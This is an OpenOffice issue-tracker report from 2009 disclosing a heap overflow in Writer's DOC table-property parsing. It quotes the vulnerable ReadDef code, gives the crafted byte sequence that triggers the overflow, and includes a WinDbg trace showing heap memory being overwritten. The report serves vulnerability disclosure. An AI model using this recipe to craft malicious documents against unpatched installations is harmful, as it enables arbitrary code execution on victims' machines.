Issue 98145 - OpenOffice writer doc filetype Prl Parsing Heap Overflow Vuln
Summary: OpenOffice writer doc filetype Prl Parsing Heap Overflow Vuln
Status: CONFIRMED
Alias: None
Product: Writer
Classification: Application
Component: code (show other issues)
Version: OOO300m9
Hardware: PC All
: P3 Trivial (vote)
Target Milestone: ---
Assignee: AOO issues mailing list
QA Contact:
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2009-01-16 13:47 UTC by wooshi
Modified: 2017-05-20 11:15 UTC (History)
3 users (show)

See Also:
Issue Type: DEFECT
Latest Confirmation in: ---
Developer Difficulty: ---


Attachments
the demo file (407.51 KB, text/plain)
2009-02-03 08:15 UTC, wooshi
no flags Details

Note You need to log in before you can comment on or make changes to this issue.
Description wooshi 2009-01-16 13:47:37 UTC
OpenOffice Prl Parsing Heap Overflow Vuln

Test version: Version 3.0.0 OOO300m9 Build 9358 on Windows XP

Description:

1. Abstract
	There is a heap overflow problem in OpenOffice which could allow an attacker to
execute arbitrary code with the privileges of the current user. The Heap
overflow issues exist within the code responsible for parsing Prl in a DOC file.
This allows an attacker to overflow heap memory with data they supplied.
	Files in MS-DOC format store the properties of characters, paragraphs, tables,
pictures, and sections as lists of differences from the default. A Prl specifies
each difference. It consists of a Single Property Modifier (Sprm) and its operand. 

by the way : where could I upload the demo vuln files?


2. Structures
a) Prl
Sprm	2 Bytes	
operand	variable	Depending on the content of Sprm
b) TDefTableOperand
When Sprm is “0xD608â€, it means the operand followed is TDefTableOperand
cb	2 Bytes	The number of bytes used by the remainder of this structure, plus one
NoC	1 Byte	Number of columns, [0, 63]
rgdxaCenter[]	variable	Array of XAS which size is 2 bytes, for every column, so
there is (NoC + 1) XAS
rgTc80[]	variable	Array of rgTc80 structure which size is 20 bytes
c) Tc80
tcgrf	2 Bytes	
wWidth	2 Bytes	
brcTop	4 Bytes	
brcLeft	4 Bytes	
brcBottom	4 Bytes	
brcRight	4 Bytes	

3. Details
	When process the Prl chain, the program read each Prl and judge the Sprm to
determine to use which function. If the Sprm is “0xD608†which means the operand
is TDefTableOperand, it calls the ReadDef function. In WW8TabDesc::WW8TabDesc():
	…
	while (aSprmIter.GetSprms() && 0 != (pParams = aSprmIter.GetAktParams()))
{
	sal_uInt16 nId = aSprmIter.GetAktId();
	wwTableSprm eSprm = GetTableSprm(nId, pIo->GetFib().GetFIBVersion());
	switch (eSprm)
{
…
case sprmTDefTable:
	pNewBand->ReadDef(bOldVer, pParams);
	bTabRowJustRead = true;
	break;
…
}
}
	
	In the function ReadDef, it “new†a pointer pTCs for rgTc80 array which member
count is determined by nCols variable (NoC). But when copy data to pTCs, it use
the nFileCols variable in loop, which is calculated by cb. So if the nFileCols
is greater than nCols, it will generate a heap overflow by memcpy. In
WW8TabBandDesc::ReadDef(): 
   /* pS point at Noc */
	…
	short nLen = (INT16)SVBT16ToShort( pS - 2 ); //nLen = cb
	BYTE nCols = *pS;
	…
const BYTE* pT = &pS[1]; //point at rgdxaCenter
	nLen --; //decrease the length of NoC
	int i;
    for(i=0; i<=nCols; i++, pT+=2 ) //Read rgdxaCenter, so pT point at rgTc80
        nCenter[i] = (INT16)SVBT16ToShort( pT );
	nLen -= 2 * ( nCols + 1 ); //decrease the length of rgdxaCenter
	short nFileCols = nLen / ( bVer67 ? 10 : 20 ); //calculate the member count of
rgTc80, the bVer67 indicate the FIB(File Information Block) Version, we use 8
(bVer67 equal zero)
	if (!pTCs && nCols)
    {
        pTCs = new WW8_TCell[nCols]; //Here, new a pTCs use nCols, which is NoC
        …
    }
	If (nFileCols)
	{
		WW8_TCell* pAktTC  = pTCs;
		if(bVer67)
		{
			…
		}
		else
		{
			WW8_TCellVer8* pTc = (WW8_TCellVer8*)pT;
            for (int k = 0; k < nFileCols; ++k, ++pAktTC, ++pTc )
            {
                …
                memcpy( pAktTC->rgbrc, pTc->rgbrcVer8, 4 * sizeof( WW8_BRC ) );
//HERE, heap will be coverd
            }
		}
		…
	}
	…

	In my file, I construct a Prl data like this:
	{08 D6, 24 37, 03, {(3+1)*2 Bytes fill}, {4 Bytes fill}, {16 Bytes 0xaa}, {4
Bytes fill}, {16 Bytes 0xaa}, {4 Bytes fill}, {16 Bytes 0xaa}, {4 Bytes fill},
{16 Bytes 0xaa}, {4 Bytes fill}, {16 Bytes 0xaa}, …}
	08 D6 is Sprm; 24 37 is cb, can result nFileCols equal 0x2C1; 03 is NoC, can
result nCols equal 0x3; the 0xaa will be filled in pTCs and cover heap. My trace
result is as follows:
1:001> bp 5D02E032         =========== break point at new[] for pTCs
1:001> g
Breakpoint 1 hit
eax=0000003c ebx=00000003 ecx=0000003c edx=00000000 esi=0743d0a8 edi=0743ccb0
eip=5d02e032 esp=014abe7c ebp=014abeb0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
swmi!SwIoSystem::IsFileFilter+0xa92d4:
5d02e032 e82f3d1500      call    swmi!SwWrtShell::GetRepeatString+0xaabf (5d181d66)
1:001> p
eax=07441910 ebx=00000003 ecx=0000003c edx=01b20608 esi=0743d0a8 edi=0743ccb0
eip=5d02e037 esp=014abe7c ebp=014abeb0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
swmi!SwIoSystem::IsFileFilter+0xa92d9:
5d02e037 59              pop     ecx
1:001> dd eax               =========== the heap memory of pTCs, size is 14h*3
07441910  baadf00d baadf00d baadf00d baadf00d
07441920  baadf00d baadf00d baadf00d baadf00d
07441930  baadf00d baadf00d baadf00d baadf00d
07441940  baadf00d baadf00d baadf00d abababab
07441950  abababab feeefeee 00000000 00000000
07441960  000b0003 feee0403 01b20190 074424f0
07441970  feeefeee feeefeee 00030008 001c0703
07441980  073ff318 0743b0b0 07442508 07442508
1:001> bp 5D02E121         =========== break point at memcpy in loop
1:001> g
Breakpoint 2 hit
eax=07441910 ebx=00000003 ecx=000002c1 edx=07455698 esi=ffffffff edi=0743ccb0
eip=5d02e121 esp=014abe80 ebp=014abeb0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
swmi!SwIoSystem::IsFileFilter+0xa93c3:
5d02e121 0fb70a          movzx   ecx,word ptr [edx]       ds:0023:07455698=f720
1:001> dd 7441910            =========== before loop
07441910  00000000 00000000 00000000 00000000
07441920  00000000 00000000 00000000 00000000
07441930  00000000 00000000 00000000 00000000
07441940  00000000 00000000 00000000 abababab
07441950  abababab feeefeee 00000000 00000000
07441960  000b0003 feee0403 01b20190 074424f0
07441970  feeefeee feeefeee 00030008 001c0703
07441980  073ff318 0743b0b0 07442508 07442508
1:001> g
Breakpoint 2 hit
eax=07441924 ebx=00000000 ecx=00000102 edx=074556ac esi=074556ac edi=07441924
eip=5d02e121 esp=014abe80 ebp=014abeb0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
swmi!SwIoSystem::IsFileFilter+0xa93c3:
5d02e121 0fb70a          movzx   ecx,word ptr [edx]       ds:0023:074556ac=a0df
1:001> dd 7441910            =========== the heap was covered
07441910  00000220 aaaaaaaa aaaaaaaa aaaaaaaa
07441920  aaaaaaaa 00000000 00000000 00000000
07441930  00000000 00000000 00000000 00000000
07441940  00000000 00000000 00000000 abababab
07441950  abababab feeefeee 00000000 00000000
07441960  000b0003 feee0403 01b20190 074424f0
07441970  feeefeee feeefeee 00030008 001c0703
07441980  073ff318 0743b0b0 07442508 07442508
1:001> g
Breakpoint 2 hit
eax=07441938 ebx=00000000 ecx=00000101 edx=074556c0 esi=074556c0 edi=07441938
eip=5d02e121 esp=014abe80 ebp=014abeb0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
swmi!SwIoSystem::IsFileFilter+0xa93c3:
5d02e121 0fb70a          movzx   ecx,word ptr [edx]       ds:0023:074556c0=eab6
1:001> dd 7441910
07441910  00000220 aaaaaaaa aaaaaaaa aaaaaaaa
07441920  aaaaaaaa 0000015f aaaaaaaa aaaaaaaa
07441930  aaaaaaaa aaaaaaaa 00000000 00000000
07441940  00000000 00000000 00000000 abababab
07441950  abababab feeefeee 00000000 00000000
07441960  000b0003 feee0403 01b20190 074424f0
07441970  feeefeee feeefeee 00030008 001c0703
07441980  073ff318 0743b0b0 07442508 07442508
1:001> g
Breakpoint 2 hit
eax=0744194c ebx=00000000 ecx=00000101 edx=074556d4 esi=074556d4 edi=0744194c
eip=5d02e121 esp=014abe80 ebp=014abeb0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
swmi!SwIoSystem::IsFileFilter+0xa93c3:
5d02e121 0fb70a          movzx   ecx,word ptr [edx]       ds:0023:074556d4=7fbf
1:001> dd 7441910
07441910  00000220 aaaaaaaa aaaaaaaa aaaaaaaa
07441920  aaaaaaaa 0000015f aaaaaaaa aaaaaaaa
07441930  aaaaaaaa aaaaaaaa 00000136 aaaaaaaa
07441940  aaaaaaaa aaaaaaaa aaaaaaaa abababab
07441950  abababab feeefeee 00000000 00000000
07441960  000b0003 feee0403 01b20190 074424f0
07441970  feeefeee feeefeee 00030008 001c0703
07441980  073ff318 0743b0b0 07442508 07442508
1:001> g
Breakpoint 2 hit
eax=07441960 ebx=00000080 ecx=00000000 edx=074556e8 esi=074556e8 edi=07441960
eip=5d02e121 esp=014abe80 ebp=014abeb0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
swmi!SwIoSystem::IsFileFilter+0xa93c3:
5d02e121 0fb70a          movzx   ecx,word ptr [edx]       ds:0023:074556e8=7897
1:001> dd 7441910
07441910  00000220 aaaaaaaa aaaaaaaa aaaaaaaa
07441920  aaaaaaaa 0000015f aaaaaaaa aaaaaaaa
07441930  aaaaaaaa aaaaaaaa 00000136 aaaaaaaa
07441940  aaaaaaaa aaaaaaaa aaaaaaaa abababbf
07441950  aaaaaaaa aaaaaaaa aaaaaaaa aaaaaaaa
07441960  000b0003 feee0403 01b20190 074424f0
07441970  feeefeee feeefeee 00030008 001c0703
07441980  073ff318 0743b0b0 07442508 07442508
1:001> g
Breakpoint 2 hit
eax=07441974 ebx=00000000 ecx=00000001 edx=074556fc esi=074556fc edi=07441974
eip=5d02e121 esp=014abe80 ebp=014abeb0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
swmi!SwIoSystem::IsFileFilter+0xa93c3:
5d02e121 0fb70a          movzx   ecx,word ptr [edx]       ds:0023:074556fc=5b56
1:001> dd 7441910
07441910  00000220 aaaaaaaa aaaaaaaa aaaaaaaa
07441920  aaaaaaaa 0000015f aaaaaaaa aaaaaaaa
07441930  aaaaaaaa aaaaaaaa 00000136 aaaaaaaa
07441940  aaaaaaaa aaaaaaaa aaaaaaaa abababbf
07441950  aaaaaaaa aaaaaaaa aaaaaaaa aaaaaaaa
07441960  000b0117 aaaaaaaa aaaaaaaa aaaaaaaa
07441970  aaaaaaaa feeefeee 00030008 001c0703
07441980  073ff318 0743b0b0 07442508 07442508
1:001> g
Breakpoint 2 hit
eax=07441988 ebx=00000080 ecx=00000000 edx=07455710 esi=07455710 edi=07441988
eip=5d02e121 esp=014abe80 ebp=014abeb0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
swmi!SwIoSystem::IsFileFilter+0xa93c3:
5d02e121 0fb70a          movzx   ecx,word ptr [edx]       ds:0023:07455710=f4b3
1:001> dd 7441910
07441910  00000220 aaaaaaaa aaaaaaaa aaaaaaaa
07441920  aaaaaaaa 0000015f aaaaaaaa aaaaaaaa
07441930  aaaaaaaa aaaaaaaa 00000136 aaaaaaaa
07441940  aaaaaaaa aaaaaaaa aaaaaaaa abababbf
07441950  aaaaaaaa aaaaaaaa aaaaaaaa aaaaaaaa
07441960  000b0117 aaaaaaaa aaaaaaaa aaaaaaaa
07441970  aaaaaaaa feeefed6 aaaaaaaa aaaaaaaa
07441980  aaaaaaaa aaaaaaaa 07442508 07442508
Comment 1 michael.ruess 2009-01-19 13:40:33 UTC
MRU->HBRINKM: please have a look at this. A vulnerability is worth to fix at all
- the affected code is also described above.
Comment 2 rvojta 2009-02-02 20:48:38 UTC
@wooshi: You can attach sample vuln documents to this issue. Just click "Create
a new attachment" below Keywords input field.
Comment 3 wooshi 2009-02-03 08:15:06 UTC
Created attachment 59843 [details]
the demo file
Comment 4 openoffice 2009-10-26 15:37:46 UTC
did not manage to fix for OOo 3.2
Comment 5 Marcus 2017-05-20 11:15:39 UTC
Reset assigne to the default "issues@openoffice.apache.org".